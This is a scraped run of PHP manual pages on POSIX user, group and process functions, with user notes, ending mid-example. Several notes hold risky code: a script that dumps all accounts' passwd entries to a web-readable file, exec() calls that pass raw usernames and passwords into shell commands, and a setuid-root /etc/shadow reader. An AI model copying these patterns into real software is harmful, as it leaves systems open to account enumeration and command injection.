This code should be considered as an OPTION only, it works under MY set of circumstances, and that is all I intended. The below funtion will return the NAME of the GROUP if provided with the Group ID#

  function RC_posix_getgrgid($gid)
    {
    $LocationGroup = "/etc/group"; //EDIT THIS IF YOU HAVE A DIFFERENT OS. mine = debian
    $fp = fopen ("/etc/group","r");
    while ($groupinfo = fscanf ($fp, "%[a-zA-Z0-9]:x:%[0-9]:%[a-zA-Z0-9]\n"))
        {
        list ($name, $groupID, $nfi) = $groupinfo;
        if ($groupID == $gid)
            {
            $returnval = $name;
            }
        }
    fclose($fp);
    if($returnval) { return $returnval; } else { return 0; }
    }
rcgraves+php at brandeis dot edu 22-Feb-2000 03:10
Returns an array containing the elements of the group structure. The array has both numeric indices, each of which is a string naming one member of the group, and named string indices. The array elements are:

$_["name"]  string groupname (users)
$_["gid"] integer gidnumber (e.g. 0 for wheel/root)
$_["members"] int number of users in group
$_[0]..$_[n] string usernames in the group


Return info about a group by name

  • « posix_getgrgid
  • posix_getgroups »
  • PHP Manual
  • POSIX Functions
  • Return info about a group by name

posix_getgrnam

(PHP 4, PHP 5)

posix_getgrnam — Return info about a group by name

Description

array posix_getgrnam ( string $name )

Gets information about a group provided its name.

Parameters

name

The name of the group

Return Values

The array elements returned are:

The group information array
Element | Description
name | The name element contains the name of the group. This is a short, usually less than 16 character "handle" of the group, not the real, full name. This should be the same as the name parameter used when calling the function, and hence redundant.
passwd | The passwd element contains the group's password in an encrypted format. Often, for example on a system employing "shadow" passwords, an asterisk is returned instead.
gid | Group ID of the group in numeric form.
members | This consists of an array of string's for all the members in the group.

Examples

Example #1 Example use of posix_getgrnam()

<?php

$groupinfo = posix_getgrnam("toons");

print_r($groupinfo);
?>

The above example will output something similar to:

Array
(
    [name]    => toons
    [passwd]  => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid]     => 42
)

See Also

  • posix_getegid() - Return the effective group ID of the current process
  • posix_getgrgid() - Return info about a group by group id
  • filegroup() - Gets file group
  • stat() - Gives information about a file
  • safe_mode_gid
  • POSIX man page GETGRNAM(3)

User Contributed Notes

marques at displague dot com 02-Apr-2009 03:12
This function returns 'false' if the group is not found.


Return the group set of the current process

  • « posix_getgrnam
  • posix_getlogin »
  • PHP Manual
  • POSIX Functions
  • Return the group set of the current process

posix_getgroups

(PHP 4, PHP 5)

posix_getgroups — Return the group set of the current process

Description

array posix_getgroups ( void )

Gets the group set of the current process.

Return Values

Returns an array of integers containing the numeric group ids of the group set of the current process.

Examples

Example #1 Example use of posix_getgroups()

<?php

$groups = posix_getgroups();

print_r($groups);
?>

The above example will output something similar to:

Array
(
    [0] => 4
    [1] => 20
    [2] => 24
    [3] => 25
    [4] => 29
    [5] => 30
    [6] => 33
    [7] => 44
    [8] => 46
    [9] => 104
    [10] => 109
    [11] => 110
    [12] => 1000
)

See Also

  • posix_getgrgid() - Return info about a group by group id

User Contributed Notes

There are no user contributed notes for this page.


Return login name

  • « posix_getgroups
  • posix_getpgid »
  • PHP Manual
  • POSIX Functions
  • Return login name

posix_getlogin

(PHP 4, PHP 5)

posix_getlogin — Return login name

Description

string posix_getlogin ( void )

Returns the login name of the user owning the current process.

Return Values

Returns the login name of the user, as a string.

Examples

Example #1 Example use of posix_getlogin()

<?php
echo posix_getlogin(); //apache
?>

See Also

  • posix_getpwnam() - Return info about a user by username
  • POSIX man page GETLOGIN(3)

User Contributed Notes

Alex P 16-Jul-2014 08:07
posix_getlogin() will return boolean false when there is no shell, e.g. when running under an apache process
philip 10-Feb-2004 03:31
Note that this function returns the owner that the process *started* as.  Even if you call posix_setuid (or posix_seteuid) it will still report the username the process started as.

use get_current_user() to get the effective real user.


Get process group id for job control

  • « posix_getlogin
  • posix_getpgrp »
  • PHP Manual
  • POSIX Functions
  • Get process group id for job control

posix_getpgid

(PHP 4, PHP 5)

posix_getpgid — Get process group id for job control

Description

int posix_getpgid ( int $pid )

Returns the process group identifier of the process pid or FALSE on failure.

Parameters

pid

The process id.

Return Values

Returns the identifier, as an integer.

Examples

Example #1 Example use of posix_getpgid()

<?php
$pid = posix_getppid();
echo posix_getpgid($pid); //35
?>

Notes

Note:

This is a not POSIX function, but is common on BSD and System V systems. If the system does not support this function, then it will not be included at compile time. This may be checked with function_exists().

See Also

  • posix_getppid() - Return the parent process identifier
  • man page SETPGID(2)

User Contributed Notes

There are no user contributed notes for this page.


Return the current process group identifier

  • « posix_getpgid
  • posix_getpid »
  • PHP Manual
  • POSIX Functions
  • Return the current process group identifier

posix_getpgrp

(PHP 4, PHP 5)

posix_getpgrp — Return the current process group identifier

Description

int posix_getpgrp ( void )

Return the process group identifier of the current process.

Return Values

Returns the identifier, as an integer.

See Also

  • POSIX.1 and the getpgrp(2) manual page on the POSIX system for more information on process groups.

User Contributed Notes

There are no user contributed notes for this page.


Return the current process identifier

  • « posix_getpgrp
  • posix_getppid »
  • PHP Manual
  • POSIX Functions
  • Return the current process identifier

posix_getpid

(PHP 4, PHP 5)

posix_getpid — Return the current process identifier

Description

int posix_getpid ( void )

Return the process identifier of the current process.

Return Values

Returns the identifier, as an integer.

Examples

Example #1 Example use of posix_getpid()

<?php
echo posix_getpid(); //8805
?>

See Also

  • posix_kill() - Send a signal to a process
  • POSIX man page GETPID(2)

User Contributed Notes

Yzmir Ramirez 15-Jul-2011 12:42
You can also try using getmypid() instead.
zapolski at gmail dot com 15-Sep-2010 04:13
In order to use posix_getpid on Fedeora 11 and up you have to install php-process

# yum install php-process
andy at haveland dot com 28-Feb-2010 09:09
Since upgrading fedora 10 to 12, I discovered that posix_getpid() disappeared and not compiled in by default, as it specifies here.

It turns out that it had been moved into package php-process.

Just do "yum install php-process", and all should be sweet again.

Hope this saves someone half an hour of research.


Return the parent process identifier

  • « posix_getpid
  • posix_getpwnam »
  • PHP Manual
  • POSIX Functions
  • Return the parent process identifier

posix_getppid

(PHP 4, PHP 5)

posix_getppid — Return the parent process identifier

Description

int posix_getppid ( void )

Return the process identifier of the parent process of the current process.

Return Values

Returns the identifier, as an integer.

Examples

Example #1 Example use of posix_getppid()

<?php
echo posix_getppid(); //8259
?>

User Contributed Notes

There are no user contributed notes for this page.


Return info about a user by username

  • « posix_getppid
  • posix_getpwuid »
  • PHP Manual
  • POSIX Functions
  • Return info about a user by username

posix_getpwnam

(PHP 4, PHP 5)

posix_getpwnam — Return info about a user by username

Description

array posix_getpwnam ( string $username )

Returns an array of information about the given user.

Parameters

username

An alphanumeric username.

Return Values

On success an array with the following elements is returned, else FALSE is returned:

The user information array
Element | Description
name | The name element contains the username of the user. This is a short, usually less than 16 character "handle" of the user, not the real, full name. This should be the same as the username parameter used when calling the function, and hence redundant.
passwd | The passwd element contains the user's password in an encrypted format. Often, for example on a system employing "shadow" passwords, an asterisk is returned instead.
uid | User ID of the user in numeric form.
gid | The group ID of the user. Use the function posix_getgrgid() to resolve the group name and a list of its members.
gecos | GECOS is an obsolete term that refers to the finger information field on a Honeywell batch processing system. The field, however, lives on, and its contents have been formalized by POSIX. The field contains a comma separated list containing the user's full name, office phone, office number, and home phone number. On most systems, only the user's full name is available.
dir | This element contains the absolute path to the home directory of the user.
shell | The shell element contains the absolute path to the executable of the user's default shell.

Examples

Example #1 Example use of posix_getpwnam()

<?php

$userinfo = posix_getpwnam("tom");

print_r($userinfo);
?>

The above example will output something similar to:

Array
(
    [name]    => tom
    [passwd]  => x
    [uid]     => 10000
    [gid]     => 42
    [gecos]   => "tom,,,"
    [dir]     => "/home/tom"
    [shell]   => "/bin/bash"
)

See Also

  • posix_getpwuid() - Return info about a user by user id
  • POSIX man page GETPWNAM(3)

User Contributed Notes

bau at kg-fds dot de 18-Feb-2006 06:29
Oh I forgot the following:

to change a Users password via PHP,
you can use the following (under Linux with installed Samba):

exec('echo -e "'.$oldpassword.'\n'.$newpassword.'\n'.$newpassword.'
"|smbpasswd -U'.$user.' -s')

The exec-command returns ""
if an error occured (then see the error_log of the web-server)
or a message "The password has been changed".

Good luck.
Baumg�rtner
bau at kg-fds dot de 18-Feb-2006 06:22
Hello, I've tried another, more easier way to check passwords than checking it to a pop3-server. If you are running a samba-server or a Windows PDC, so you can try to connect with the username/password you want to check to the netlogon of this server:

if (exec('echo "exit"|smbclient //server/netlogon -U'.$user.' '.$pass)=="") { ... }

If the username/password doesn't match, then the exec-command under LINUX returns an error.

Good luck
Baumg�rtner
bau at kg-fds dot de 14-Feb-2006 08:24
If you are running a pop3-daemon, so you can do authentification on pop3 by using fsockopen :-) and checking whether it returns +OK or -ERR
corychristison at lavacube dot net 17-Oct-2004 01:33
For those of you who are writing daemons with PHP and are one for security. This function will not return any info if you have called PHP's chroot() function.

Took me a few minutes why it wouldn't find the user it was searching for.
marcus at nospamsynchromedia dot co dot uk 23-Aug-2002 10:12
Given a non-existent username, this function returns a boolean FALSE.
perreal at lyon dot cemagref dot fr 18-Apr-2002 05:47
To check passwords on a Unix-box, look at the mod_auth_external module for Apache, it uses external programs to do the real job. The server won't ever read the encrypted password.

One of them, pwauth, can be configured to use PAM or whatever is used on your system. Users that can run this program are configured at compile time. And this program can be called from PHP with exec(...).
vision_1967 at hotmail dot com 20-Nov-2001 08:23
I needed to get access to the user information to do login/validation via an SSL connection and encountered the same problem with receiving '*' in the password field.  After checking the documentation on posix_getpwnam, I saw a previous solution involving coding a C program.  This was a bit bulky for me so I came up with my own solution.

Variations on this theme can probably be done to make the solution more programmer/reader friendly, but the way I did it accomplished the task that I needed to do.

IF the information you need to get from posix_getpwnam comes from a host participating in an NIS network, you can accomplish the same thing with the following command:

$autharray = split(":",`ypmatch $USER passwd`);

(pretty long explanation for such a short solution huh?)

You'll have to get at the fields by their index number ($autharray[0], $autharray[1], ...) using this method.

To create an associative array that is plug-in compatible with the posix_getpwnam function,  you'll probably need to use the 'list' specifier to do the assignments.

I hope this helps someone.

--S
darryl at pointclark dot net 18-Oct-2001 07:43
If you need to validate a *real* unix password on a system using shadowed passwords, the posix_getpwnam() function in PHP won't work (as mentioned, 'x', or '*', will be in the password field).

I have a need to verify a user/pass within PHP (using SSL!).  I don't know if this is the best way, but it's what I'm doing at the moment (works well!).

First, you need some help from the OS.  I wrote a tiny C utility that does the shadow look-up for me... It requires root access to read /etc/shadow.  So after you compile (gcc -O2 -s -o spasswd -lcrypt spasswd.c), you need to either use sudo to run it, or

# chown root spasswd && chmod u+s spasswd

To code that I'm using to authenticate a user/pass from PHP looks like:

function Authenticate($realm)
{
 global $PHP_AUTH_USER;
 global $PHP_AUTH_PW;

 if(!isset($PHP_AUTH_USER))
 {
  header("WWW-Authenticate: Basic realm=\"$realm\"");
  header("HTTP/1.0 401 Unauthorized");

  return false;
 }
 else
 {
  if(($fh = popen("/usr/sbin/spasswd", "w")))
  {
   fputs($fh, "$PHP_AUTH_USER $PHP_AUTH_PW");
   $r = pclose($fh);

   if(!$r)
    return true;
  }
 }

 header("WWW-Authenticate: Basic realm=\"$realm\"");
 header("HTTP/1.0 401 Unauthorized");

 return false;
}

The C source for spasswd.c:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <crypt.h>
#include <shadow.h>

static char salt[12], user[128], pass[128];

void die(void)
{
 memset(salt, '\0', 12);
 memset(user, '\0', 128);
 memset(pass, '\0', 128);
}

int main(int argc, char *argv[])
{
 struct spwd *passwd;

 atexit(die); die();

 if(fscanf(stdin, "%127s %127s", user, pass) != 2)
  return 1;

 if(!(passwd = getspnam(user)))
  return 1;

 strncpy(salt, passwd->sp_pwdp, 11);
 strncpy(pass, crypt(pass, salt), 127);

 if(!strncmp(pass, passwd->sp_pwdp, 127))
  return 0;

 return 1;
}

Hope this helps someone...
sezery at damla dot net 03-Oct-2001 11:09
User and group functions do not work on recent Redhat systems since these functions are based on /etc/group file but new redhat does not put group members' list into this file. Instead you need to examine /etc/passwd file and find members of a group by checking group id.


Return info about a user by user id

  • « posix_getpwnam
  • posix_getrlimit »
  • PHP Manual
  • POSIX Functions
  • Return info about a user by user id

posix_getpwuid

(PHP 4, PHP 5)

posix_getpwuid — Return info about a user by user id

Description

array posix_getpwuid ( int $uid )

Returns an array of information about the user referenced by the given user ID.

Parameters

uid

The user identifier.

Return Values

Returns an associative array with the following elements:

The user information array
Element | Description
name | The name element contains the username of the user. This is a short, usually less than 16 character "handle" of the user, not the real, full name.
passwd | The passwd element contains the user's password in an encrypted format. Often, for example on a system employing "shadow" passwords, an asterisk is returned instead.
uid | User ID, should be the same as the uid parameter used when calling the function, and hence redundant.
gid | The group ID of the user. Use the function posix_getgrgid() to resolve the group name and a list of its members.
gecos | GECOS is an obsolete term that refers to the finger information field on a Honeywell batch processing system. The field, however, lives on, and its contents have been formalized by POSIX. The field contains a comma separated list containing the user's full name, office phone, office number, and home phone number. On most systems, only the user's full name is available.
dir | This element contains the absolute path to the home directory of the user.
shell | The shell element contains the absolute path to the executable of the user's default shell.

Examples

Example #1 Example use of posix_getpwuid()

<?php

$userinfo = posix_getpwuid(10000);

print_r($userinfo);
?>

The above example will output something similar to:

Array
(
    [name]    => tom
    [passwd]  => x
    [uid]     => 10000
    [gid]     => 42
    [gecos]   => "tom,,,"
    [dir]     => "/home/tom"
    [shell]   => "/bin/bash"
)

See Also

  • posix_getpwnam() - Return info about a user by username
  • POSIX man page GETPWNAM(3)

User Contributed Notes

Anonymous 06-Feb-2013 12:37
I only want the user name rather than the rest. I'm recursively looping trough a directory and need the username with each file or directory. I use stat to get file attributes that I need which gives me uid. Querying with posix_getpwuid() for every file takes up a lot of time in directories with many files. I came up with a caching mechanism (which I believe should be built-in). Every time a new uid is found a new query is required and this function slows it down, but hey, more likely you need a few uid's many many times so every time you meet the same uid, there is no costly query taking place.

Heres my code, feel free, etc., etc.

<?php
$arr_uname = Array();
function file_owner_cached($uid)
{
    global $arr_uname;
    if (!isset($arr_uname[$uid]))
    {
        $arr_uname[$uid] = posix_getpwuid($uid)['name'];
    }
    return $arr_uname[$uid];
}
?>
Works in PHP 5.3.19, under linux of course.. not tested on anything else.
martin at arp242 dot net 04-Jul-2011 04:18
Here's a fairly safe way to get the username from uid even if the posix extension isn't installed.

<?php
function GetUsernameFromUid($uid)
{
  if (function_exists('posix_getpwuid'))
  {
    $a = posix_getpwuid($uid);
    return $a['name'];
  }
  # This works on BSD but not with GNU
  elseif (strstr(php_uname('s'), 'BSD'))
  {
    exec('id -u ' . (int) $uid, $o, $r);

    if ($r == 0)
      return trim($o['0']);
    else
      return $uid;
  }
  elseif (is_readable('/etc/passwd'))
  {
    exec(sprintf('grep :%s: /etc/passwd | cut -d: -f1', (int) $uid), $o, $r);
    if ($r == 0)
      return trim($o['0']);
    else
      return $uid;
  }
  else
    return $uid;
}
?>
ddascalescu at gmail dot com 09-Apr-2008 04:14
Correction regarding my note below: get_current_user() does *not* get the name of the user the script is running as. Instead, it "gets the name of the owner of the current PHP script" -- that is, the owner of the file, not the owner of the process.

To properly get the running user, test if function_exists('posix_getpwuid') and if not, assume you're running on Windows and call getenv('USERNAME').
ddascalescu at gmail dot com 05-Apr-2008 02:39
On Windows, posix_getpwuid() is not implemented , but if you just want the username of the current user, you can use get_current_user().
mehmet at karakaya dot us 19-Mar-2006 08:45
if the system is also a mail server and system users have userdirs with php support this function may cause a spam abuse which made by a system user.

<?php

/* settings for start point and where to stop */
$start=0;//the first user id
$interval=1000;//amount of lines that will be read
$finishline=3000;//the last user id

$first=(isset($_GET['first'])?$_GET['first']:$start);
$last=(isset($_GET['last'])?$_GET['last']:$interval);

/* getting and writing the user info line by line */
$fp=fopen('copiedpasswd','a');
//copiedpasswd must be writeable by apache
for ($user=$first;$user<=$last;$user++)
 {
  $list=posix_getpwuid($user);
  if ($list['name']=='') { continue; }
  $line=implode(':',$list)."\n";
  fputs($fp,$line);
 }//end for
fclose($fp);

/* control or forwarding in order to prevent prescription */
if ($last>=$finishline)
 {
  header("Location: copiedpasswd");
 }//end if
else
 {
  $first += $interval;
  $last += $interval;
  header("Location: thenameofthisscript.php?first=$first&last=$last");
 }//end else

?>

Because posix_getpwuid(1000) will return the user name(whose id is 1000) as the first key of the array.
Nikolai-Zujev-(at)-Gmail-dot-Com 25-Sep-2004 11:05
If You are useing kernel security module, such as LIDS, GrSec or Selinux it will work only if '/etc/passwd' is readable for user, under which PHP/Apache runs, otherwice you get FALSE.
rolf dot winterscheidt at rowitech dot de 28-May-2003 01:34
To get the name of the owner of a file you can use something like this:

<?php
$startscript="/var/log/hello.log";

$fileowneruid=fileowner($startscript);
$fileownerarray=posix_getpwuid($fileowneruid);
$fileowner=$fileownerarray['name'];

echo "Owner is $fileowner";
?>

(I'm sure you can accomplish this in many ways, this is a way I understood and hope you too :-)).

Rolf


Return info about system resource limits

  • « posix_getpwuid
  • posix_getsid »
  • PHP Manual
  • POSIX Functions
  • Return info about system resource limits

posix_getrlimit

(PHP 4, PHP 5)

posix_getrlimit — Return info about system resource limits

Description

array posix_getrlimit ( void )

posix_getrlimit() returns an array of information about the current resource's soft and hard limits.

Each resource has an associated soft and hard limit. The soft limit is the value that the kernel enforces for the corresponding resource. The hard limit acts as a ceiling for the soft limit. An unprivileged process may only set its soft limit to a value from 0 to the hard limit, and irreversibly lower its hard limit.

Return Values

Returns an associative array of elements for each limit that is defined. Each limit has a soft and a hard limit.

List of possible limits returned
Limit name | Limit description
core | The maximum size of the core file. When 0, not core files are created. When core files are larger than this size, they will be truncated at this size.
totalmem | The maximum size of the memory of the process, in bytes.
virtualmem | The maximum size of the virtual memory for the process, in bytes.
data | The maximum size of the data segment for the process, in bytes.
stack | The maximum size of the process stack, in bytes.
rss | The maximum number of virtual pages resident in RAM
maxproc | The maximum number of processes that can be created for the real user ID of the calling process.
memlock | The maximum number of bytes of memory that may be locked into RAM.
cpu | The amount of time the process is allowed to use the CPU.
filesize | The maximum size of the data segment for the process, in bytes.
openfiles | One more than the maximum number of open file descriptors.

Examples

Example #1 Example use of posix_getrlimit()

<?php

$limits = posix_getrlimit();

print_r($limits);
?>

The above example will output something similar to:

Array
(
    [soft core] => 0
    [hard core] => unlimited
    [soft data] => unlimited
    [hard data] => unlimited
    [soft stack] => 8388608
    [hard stack] => unlimited
    [soft totalmem] => unlimited
    [hard totalmem] => unlimited
    [soft rss] => unlimited
    [hard rss] => unlimited
    [soft maxproc] => unlimited
    [hard maxproc] => unlimited
    [soft memlock] => unlimited
    [hard memlock] => unlimited
    [soft cpu] => unlimited
    [hard cpu] => unlimited
    [soft filesize] => unlimited
    [hard filesize] => unlimited
    [soft openfiles] => 1024
    [hard openfiles] => 1024
)

Notes

Note:

This is a not POSIX function, but is common on BSD and System V systems. If the system does not support this function, then it will not be included at compile time. This may be checked with function_exists().

See Also

  • man page GETRLIMIT(2)

User Contributed Notes

petert at tebault dot org 29-Aug-2000 09:58
The array returned (on a RH6.2 box) is:
     soft core = 0
     hard core = unlimited
     soft data = unlimited
     hard data = unlimited
     soft stack = 8388608
     hard stack = unlimited
     soft totalmem = unlimited
     hard totalmem = unlimited
     soft rss = unlimited
     hard rss = unlimited
     soft maxproc = 2048
     hard maxproc = 2048
     soft memlock = unlimited
     hard memlock = unlimited
     soft cpu = unlimited
     hard cpu = unlimited
     soft filesize = unlimited
     hard filesize = unlimited
     soft openfiles = 1024
     hard openfiles = 1024


Get the current sid of the process

  • « posix_getrlimit
  • posix_getuid »
  • PHP Manual
  • POSIX Functions
  • Get the current sid of the process

posix_getsid

(PHP 4, PHP 5)

posix_getsid — Get the current sid of the process

Description

int posix_getsid ( int $pid )

Return the session id of the process pid. The session id of a process is the process group id of the session leader.

Parameters

pid

The process identifier. If set to 0, the current process is assumed. If an invalid pid is specified, then FALSE is returned and an error is set which can be checked with posix_get_last_error().

Return Values

Returns the identifier, as an integer.

Examples

Example #1 Example use of posix_getsid()

<?php
$pid = posix_getpid();
echo posix_getsid($pid); //8805
?>

See Also

  • posix_getpgid() - Get process group id for job control
  • posix_setsid() - Make the current process a session leader
  • POSIX man page GETSID(2)

User Contributed Notes

There are no user contributed notes for this page.


Return the real user ID of the current process

  • « posix_getsid
  • posix_initgroups »
  • PHP Manual
  • POSIX Functions
  • Return the real user ID of the current process

posix_getuid

(PHP 4, PHP 5)

posix_getuid — Return the real user ID of the current process

Description

int posix_getuid ( void )

Return the numeric real user ID of the current process.

Return Values

Returns the user id, as an integer

Examples

Example #1 Example use of posix_getuid()

<?php
echo posix_getuid(); //10000
?>

See Also

  • posix_getpwuid() - Return info about a user by user id
  • POSIX man page GETUID(2)

User Contributed Notes

chris at ocportal dot com 30-Nov-2008 03:35
Note that this function is not defined on Windows PHP.


Calculate the group access list

  • « posix_getuid
  • posix_isatty »
  • PHP Manual
  • POSIX Functions
  • Calculate the group access list

posix_initgroups

(PHP 5 >= 5.2.0)

posix_initgroups — Calculate the group access list

Description

bool posix_initgroups ( string $name , int $base_group_id )

Calculates the group access list for the user specified in name.

Parameters

name

The user to calculate the list for.

base_group_id

Typically the group number from the password file.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • The Unix manual page for initgroups(3).

User Contributed Notes

victor dot kupiyanov at gmail dot com 22-Mar-2012 05:19
The function does not calculate groups, it sets groups access list of the current process in accordance to user information in /etc/groups.

Quote from Unix manual page for initgroups:

NAME
       initgroups - initialize the supplementary group access list
...
DESCRIPTION
       The  initgroups()  function  initializes  the  group  access  list  by  reading the
       group database /etc/group and using all groups of which user is a member.
       The additional  group  group  is  also added to the list.


Determine if a file descriptor is an interactive terminal

  • « posix_initgroups
  • posix_kill »
  • PHP Manual
  • POSIX Functions
  • Determine if a file descriptor is an interactive terminal

posix_isatty

(PHP 4, PHP 5)

posix_isatty — Determine if a file descriptor is an interactive terminal

Description

bool posix_isatty ( mixed $fd )

Determines if the file descriptor fd refers to a valid terminal type device.

Parameters

fd

The file descriptor, which is expected to be either a file resource or an integer. An integer will be assumed to be a file descriptor that can be passed directly to the underlying system call.

In almost all cases, you will want to provide a file resource.

Return Values

Returns TRUE if fd is an open descriptor connected to a terminal and FALSE otherwise.

See Also

  • posix_ttyname() - Determine terminal device name

User Contributed Notes

hfuecks at phppatterns dot com 07-May-2004 11:12
Can be useful to determine whether output is being piped elsewhere, for PHP shell scripts, for example;

#!/usr/local/bin/php
<?php
if ( !posix_isatty(STDOUT) ) {
    fwrite(STDOUT, "Invalid TTY\n");
    exit(2);
}
fwrite(STDOUT, "Enter you name\n");
$name = fgets(STDIN);
fwrite(STDOUT,"Hello $name\n");
exit(0);
?>

If this script is like:

script.php > outfile

outfile will contain "Invalid TTY"


Send a signal to a process

  • « posix_isatty
  • posix_mkfifo »
  • PHP Manual
  • POSIX Functions
  • Send a signal to a process

posix_kill

(PHP 4, PHP 5)

posix_kill — Send a signal to a process

Description

bool posix_kill ( int $pid , int $sig )

Send the signal sig to the process with the process identifier pid.

Parameters

pid

The process identifier.

sig

One of the PCNTL signals constants.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • The kill(2) manual page of the POSIX system, which contains additional information about negative process identifiers, the special pid 0, the special pid -1, and the signal number 0.

User Contributed Notes

Mauro 15-May-2014 10:47
Posix_kill is not so reliable (it seems it always deliver the signal - even 0 to a no existing process - and doesn't generate an error).
I found this way to check the existence of a process, using /proc:

if(!file_exists("/proc/$pid/cmdline"

obviously check the permissions .
unsure at tactileint dot com 10-Mar-2011 01:36
Just like the error codes (EPERM, EEXIST, etc), signal numbers are different on different platforms.  EG on macos, SIGCONT is 19; on Linux SIGSTOP is 19.  Big difference.

If you have PCNTL compiled in, you can use the constants like SIGCONT; i trust they're all correct.

If not, look in /usr/include/signal.h; these days its tons of ifdef mumbo jumbo but you can go to /usr/include/bits or /usr/include/sys or something and look for files named sig*.h; one of them will list them for you.
Anonymous 27-Jan-2011 12:27
here is a process kill function for windows:

<?php
function win_kill($pid){
    $wmi=new COM("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
    $procs=$wmi->ExecQuery("SELECT * FROM Win32_Process WHERE ProcessId='".$pid."'");
    foreach($procs as $proc)
      $proc->Terminate();
}
?>
Skippy 14-Jan-2009 11:12
In order to check the outcome of posix_kill() you can use posix_get_last_error(), which will return 0 (zero) in case of success and a non-zero error code otherwise. Use the number returned by posix_get_last_error() as a parameter to posix_strerror() to get a human-readable error message corresponding to that error code.

Please note that a non-zero code from posix_get_last_error() does NOT mean that the pid doesn't exist; it only means that posix_kill() ran into trouble signalling that process. For example, the pid may exist but the process is owned by a user other than the one you use to run the code, and you're not root; in which case you'll get an error saying you're not allowed to signal that process (operation not permitted).

Accordingly, the code posted by Jille earlier is WRONG. According to the POSIX spec (see errno.h on your system), EPERM means "operation not permitted". This should NOT be taken as indication that the pid doesn't exist, it merely means that posix_kill() couldn't signal that process. If anything, it should be a hint that a process with that pid IS running.

errno.h constant names definitions:
http://www.opengroup.org/onlinepubs/009695399/basedefs/errno.h.html

Unfortunately, PHP does not currently define constants with these names (such as EPERM, ENOENT, ESRCH etc.) A non-complete subset is defined for socket operations (SOCKET_EPERM for example), but it doesn't hold all the possible POSIX error constants; ESRCH for instance is of particular interest for posix_kill(), but SOCKET_ESRCH doesn't exist, because it means "no such process" and doesn't make sense for sockets.

Solutions:
* Have PHP devs define these constants in a future PHP version.
* Look-up errno.h on your system and define your own constants. You can use a script to parse errno.h and either define the constants on the fly or generate, once, the PHP code to define them.

Please be advised, however, that relying on a specific errno.h is not portable. Different systems may have different numeric values for these constants. That's why PHP should be defining the constants at compilation time and the code should be able to rely on the constant names; only the names are portable, not the actual values.
regis dot fr dot php dot net at tornad dot net 24-Dec-2008 04:06
A little recursive function to kill a process and his childs.
it works fine for me and I don't have find something else to do it.
It's a mix of various scripts I've found.

<?php
    function killProcessAndChilds($pid,$signal) {
        exec("ps -ef| awk '\$3 == '$pid' { print  \$2 }'", $output, $ret);
        if($ret) return 'you need ps, grep, and awk';
        while(list(,$t) = each($output)) {
            if ( $t != $pid ) {
                killProcessAndChilds($t,$signal);
            }
        }
        //echo "killing ".$pid."\n";
        posix_kill($pid, 9);
    }
?>
Jille at mydevnull dot quis dot cx 16-Apr-2008 03:22
If you want to test whether processes owned by other users are running, you can use:

<?php
  $running=posix_kill($pid, 0);
  if(posix_get_last_error()==1) /* EPERM */
    $running=true;
?>

If the process is owned by somebody else (and you're not root), you will get an EPERM.
On my system (FreeBSD) this is defined to 1.

You should test what the value of EPERM is on your system.
Jacques Manukyan 22-Mar-2008 03:40
Keep in mind that you can only send kill signals to processes owned by your UID.

If you are running your program as root, then you can send kill signals to all processes.
codeslinger at compsalot dot com 02-Feb-2005 05:42
Detecting if another copy of a program is running (*NIX specific)

One cute trick, to see if another process is running, is to send it signal 0.  Signal 0 does not actually get sent, but kill will check to see if it is possible to send the signal.  Note that this only works if you have permission to send a signal to that process.

A practical use for this technique is to avoid running multiple copies of the same program.  You save the PID to a file in the usual way...   Then during start-up you check the value of the PID file and see if that process currently exists.

This is not totally fool-proof.  In rare circumstances it is possible for an unrelated program to have the same recycled PID.  But that other program would most likely not accept signals from your program anyway (unless your program is root).

To make it as reliable as possible, you would want your program to remove it's PID file during shutdown (see register_shutdown_function).  That way, only if your program crashed AND another program happened to use the same PID AND the other program was willing to accept signals from your program, would you get a wrong result.  This would be an exceedingly rare occurrence.  This also assumes that the PID file has not been tampered with (as do all programs that rely on PID files...).

It's also possible to use 'ps x' to detect this, but using kill is much more efficient.

Here is the core routine:

    $PrevPid = file_get_contents($PathToPidFile);

    if(($PrevPid !== FALSE) && posix_kill(rtrim($PrevPid),0)) {
        echo "Error: Server is already running with PID: $PrevPid\n";
        exit(-99);
    } else {
        echo "Starting Server...";
    }

Hmmm...  if you want total 100% reliability, plus efficiency.  What you could do is to make the initial check using kill.  If it says not running, then you are ready to zoom.  But if kill says already running, then you could use:

//You can get the $ProgramName from $argv[0]
$Result = shell_exec('ps x | grep "' . $PrevPid . '" | grep "' . $ProgramName . '" | grep -v "grep"');

Assuming that your program has permissions to do this.  If you execute that and get back an empty string, then the other program is an imposter using a recycled PID and you are clear to go.

-- Erik
gid at gifpaste dot net 18-Dec-2002 01:26
For those that want to kill everything matching a certain pattern (ala killall in for linux), try something like this.  Note that this is a good idea to do something like this for cross platform compatilibity, instead of executing killall, because killall for other UNIXes does just that, kills EVERYTHING.  :)

function killall($match) {
    if($match=='') return 'no pattern specified';
    $match = escapeshellarg($match);
    exec("ps x|grep $match|grep -v grep|awk '{print $1}'", $output, $ret);
    if($ret) return 'you need ps, grep, and awk installed for this to work';
    while(list(,$t) = each($output)) {
        if(preg_match('/^([0-9]+)/', $t, $r)) {
            system('kill '. $r[1], $k);
            if(!$k) $killed = 1;
        }
    }
    if($killed) {
        return '';
    } else {
        return "$match: no process killed";
    }
}


Create a fifo special file (a named pipe)

  • « posix_kill
  • posix_mknod »
  • PHP Manual
  • POSIX Functions
  • Create a fifo special file (a named pipe)

posix_mkfifo

(PHP 4, PHP 5)

posix_mkfifo — Create a fifo special file (a named pipe)

Description

bool posix_mkfifo ( string $pathname , int $mode )

posix_mkfifo() creates a special FIFO file which exists in the file system and acts as a bidirectional communication endpoint for processes.

Parameters

pathname

Path to the FIFO file.

mode

The second parameter mode has to be given in octal notation (e.g. 0644). The permission of the newly created FIFO also depends on the setting of the current umask(). The permissions of the created file are (mode & ~umask).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

User Contributed Notes

Mauro Titimoli 30-Dec-2009 02:36
Object Oriented FIFO Communication process:

<?php
interface Communication {
    public function receive($bytes = 1024);

    public function getData();

    public function clearData();

    public function send($data);
}

class FIFOCommunication implements Communication {
    private $fifos;

    private $data;

    static public function stream_fifo_open($fifoPath, $mode) {
        if (pcntl_fork() == 0) {
